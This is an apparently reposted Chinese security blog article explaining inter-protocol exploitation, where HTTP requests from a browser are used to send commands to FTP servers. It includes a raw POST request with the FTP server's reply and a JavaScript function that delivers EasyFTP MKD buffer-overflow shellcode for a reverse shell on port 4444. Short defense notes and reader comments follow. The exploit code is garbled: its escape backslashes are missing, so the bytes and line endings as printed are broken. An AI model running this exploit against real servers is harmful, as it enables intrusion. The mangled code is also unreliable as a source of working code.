跨协议通信技术利用,什么是跨协议通信?

admin 2021年4月2日19:40:19评论164 views字数 5296阅读17分39秒阅读模式

# 什么是跨协议通信 #

跨协议通信技术(Inter-Protocol Communication)是指两种不同的协议可以交换指令和数据的技术。其中一种称为目标协议,另外一种称为载体协议。目标协议就是我们最终想要通信的协议,而载体协议是用来封装我们最后想要发送的指令和数据。

这种类型的通信想要完成有两个必要条件:

1. 目标协议必须容错性比较好.这是因为我们是通过一个载体协议来传输指令的,这样就很可能会掺杂一些目标协议无法识别的指令。

2. 载体协议能够封装目标协议的指令.即使目标协议无法识别所有封装过的指令,也必须能够识别最终要的部分指令。

# 如何利用跨协议通信 #

跨协议漏洞利用(Inter-Protocol Expoitation)是通过一种协议去攻击运行另外一种协议的服务。

大家最关注的还是载体协议是HTTP的时候,因为这样攻击者就可以通过人人都有浏览器来发起攻击了。这种类型的攻击可以让攻击者访问到本来只有受害者才有权访问的资源和服务(比如内网不对外开放的服务)。这个过程中受害者充当了一个傀儡的角色,接收并执行了有风险的代码.

一些用换行来作为命令分隔符的协议,比如SMTP,POP3,IRC和FTP都会受这种攻击的影响.这是因为当目标协议处理多行数据的时候是一行一行单独处理的.而这些协议的容错性都比较好.这就使得这些协议忽略掉识别不了的行,只执行可以识别的代码.

为了更好的理解跨协议通信,我们来看一个简单的例子.

# 示例一:通过HTTP连接FTP服务器 #

通过浏览器连接ftp服务器非常简单,一个HTTP POST请求就可以了.下面是一个连接本机的FTP服务器的代码.



假设这个FTP用户密码存在的话,提交这个表单就可以登录到FTP服务器了.是不是很简单.

具体发送的POST请求数据包如下:

POST / HTTP/1.1
Host: 127.0.0.1:21
User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Length: 304
 
-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"
 
user secforce
-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"
 
pass secforce
-----------------------------63079936718166855021600323653--

我们接收到返回数据如下.所有的50X错误对应服务器无法识别的HTTP行.FTP服务器忽略了他们,执行了它可以识别的命令.

220--------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren't logged in
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
331 User secforce OK. Password required
500 ?
500 ?
500 ?
230 OK. Current directory is /
500 ?

自己测试的话你可能发现并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR无法正常工作.这是因为FTP是一种带外(out-of-band)协议,它的数据和控制指令是通过不同的TCP端口传送的.事实上,如果你尝试用STOR命令上传一个文件到服务器上,会发现在服务器上创建了一个同名的空文件.这是因为在文件开始传输数据之前先创建一个空文件,所有的命令都不需要一个单独的数据连接就可以工作。

让我们看一个更加有趣的例子。

# 示例2:通过HTTP溢出FTP服务器反弹shell #

这个例子中我们使用EasyFTP v1.7,这个版本存在一个MKD命令的缓冲区溢出漏洞.需要注意的是这个命令不需要一个额外的数据连接通道就可以成功执行.我们在虚拟机里搭建好服务器(192.168.1.10),创建"anonymous"用户.因为成功利用这个漏洞的前提是先登录到FTP服务器.

因为没有必要重复造轮子,这里我们直接使用一个公开的漏洞利用代码(参考资料[1]])来构造POST请求.这次使用javascript来发送shellcode到FTP服务器.为了成功发送shellcode,我们使用了sendAsBinary函数,详情参考资料[2][3].

最后的函数如下:

function exploit(){
var url = 'http://192.168.1.10:21'
var intro = 'USER anonymousrnPASS anonymousrn'
var payload = 'MKD x89xe7x81xefx10xfexffxffxc7x07x13x57x7exd6x81xc7
x14xffxffxffxffxe7x43x43x43x43x43x43x43x43x43x43
xbaxaex16xd0x74xd9xccxd9x74x24xf4x5ex29xc9xb1x4f
x31x56x14x83xeexfcx03x56x10x4cxe3x2cx9cx19x0cxcd
x5dx79x84x28x6cxabxf2x39xddx7bx70x6fxeexf0xd4x84
x65x74xf1xabxcex32x27x85xcfxf3xe7x49x13x92x9bx93
x40x74xa5x5bx95x75xe2x86x56x27xbbxcdxc5xd7xc8x90
xd5xd6x1ex9fx66xa0x1bx60x12x1ax25xb1x8bx11x6dx29
xa7x7dx4ex48x64x9exb2x03x01x54x40x92xc3xa5xa9xa4
x2bx69x94x08xa6x70xd0xafx59x07x2axccxe4x1fxe9xae
x32xaaxecx09xb0x0cxd5xa8x15xcax9exa7xd2x99xf9xab
xe5x4ex72xd7x6ex71x55x51x34x55x71x39xeexf4x20xe7
x41x09x32x4fx3dxafx38x62x2axc9x62xebx9fxe7x9cxeb
xb7x70xeexd9x18x2ax78x52xd0xf4x7fx95xcbx40xefx68
xf4xb0x39xafxa0xe0x51x06xc9x6bxa2xa7x1cx3bxf2x07
xcfxfbxa2xe7xbfx93xa8xe7xe0x83xd2x2dx97x84x45x62
xb8x1ax92x12xbbx1ax8bxbex32xfcxc1x2execx41x40x00
x3ex23x1fx17x95xa3xbcx8ax72x33xcaxb6x2cx64x9bx09
x25xe0x31x33x9fx16xc8xa5xd8x92x17x16xe6x1bxd5x22
xccx0bx23xaax48x7fxfbxfdx06x29xbdx57xe9x83x17x0b
xa3x43xe1x67x74x15xeexadx02xf9x5fx18x53x06x6fxcc
x53x7fx8dx6cx9bxaax15x8cx7ex7ex60x25x27xebxc9x28
xd8xc6x0ex55x5bxe2xeexa2x43x87xebxefxc3x74x86x60
xa6x7ax35x80xe3'
var req = new XMLHttpRequest();
req.open('POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + 'rn'); // neat way to send hexadecimal code through HTTP
}

这里的payload选用了反弹shell到我们自己主机的端口4444.然后用nc监听.当在浏览器中访问嵌入了上面js代码的网页时.奇迹发生了.

# 如何防御攻击 #

1. 屏蔽端口.默认情况下,大部分浏览器会拒绝连接到一些著名的端口,比如21/FTP,25/SMTP等.这种保护方式可以通过修改浏览器配置或者使用非标准端口突破.

2. 更少的容错性.一些协议接受到无法识别的命令的时候会关闭连接.这样子降低了灵活性但是增强了抵御跨协议攻击的能力.更好一点的做法是连续接收到无法识别的命令后关闭连接.

## 结论 ##

正如上面提到的,这种攻击方式有很多限制.通常情况下,想要达到同样的结果有很多比跨协议攻击更好的方式.但是在特定的环境下,这种类型的攻击是一种很有效的攻击方式.

[原文地址]

相关内容:

URL Hacking - 前端猥琐流

由参数URL想到的

警告:用虚拟机上QQ,挂全局Socks代理的请注意,UDP协议暴露真实IP

HTTP 协议中 POST、GET、HEAD 等参数详解

嗅探、劫持 3389 端口、远程桌面、rdp 协议的一些经验技巧总结

知识科普:拟人化 HTTP 及 DNS 协议通讯全过程

Microsoft RES 协议详解与安全 - RES 协议浅析

远程OS探测中的网络协议栈指纹识别技术

DNS协议报文(RFC1035) DNS报文解析 DNS协议详解

【文章】6.2 保密的多方计算 - 多方安全协议

【文章】第五章 高级协议 - 5.1:零知识证明

【文章】4.10 公平的硬币抛掷 密钥 抛币协议

【文章】应用密码学: 数据库的密码保护 协议

【文章】应用密码学:分布式 - 鉴别安全协议

【文章】应用密码学 基本协议 密钥交换 密码

【文章】应用密码学: 裁决协议 自动执行协议

3389 远程桌面 Mstsc RDP协议详细解析 (下)

3389 远程桌面 Mstsc RDP协议详细解析 (上)

【VB】 Winsock 模拟发送 Http 协议头信息

相关讨论:

anonymous

很好的文章。把以前大家用的思路方法理论化了。 收获了。

-

发表评论

anonymous 2013-12-11 1楼

很好的文章。把以前大家用的思路方法理论化了。

收获了。

... 2013-12-11 2楼

不是所有的ftp都能用好不好,vsftpd 就不行

litdg (5级) FB作者 2013-12-11

@… 是这样的。存在一定的局限性。我测试的时候windows2003自带的ftp也是不行的。

河蟹 2013-12-11 3楼

既然21端口对外开放 还多此一举用http方式连

test 2013-12-11

@和谐 有些FW只允许HTTP

demon 2013-12-11 4楼

不错的科普文。

anonymous 2013-12-11 5楼

如何用http去调用ipc。

想到前的jet那类漏洞了。

id=1 in ‘c:testexp.mdb’ 直接反弹shell.

黑客 2013-12-11 6楼

呵呵,跨协议。

哪怕是没有任何协议,服务端在端口接收命令, 客户端发送命令,正确的话执行, 不正确的人家会执行吗?

不知道为什么现在的人喜欢这些调调,还有什么上次的WPS发邮件的东西,TMD直接捆绑个免杀木马不就完事了嘛,还得用什么IE 7 的漏洞,无聊死了。。

xx 2013-12-11

@黑客 别人提供一个思路 你有什么好喷的?

文章来源于lcx.cc:跨协议通信技术利用,什么是跨协议通信?

相关推荐: Zabbix Authenticated Remote Command Execution, zabbix远程命令执行

zabbix 远程命令执行。 妈妈说再也不担心wb不够了 http://www.wooyun.org/searchbug.php?q=Zabbix+ 刷起来哈哈 # # This module requires Metasploit: http//metasp…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日19:40:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   跨协议通信技术利用,什么是跨协议通信?http://cn-sec.com/archives/316573.html

发表评论

匿名网友 填写信息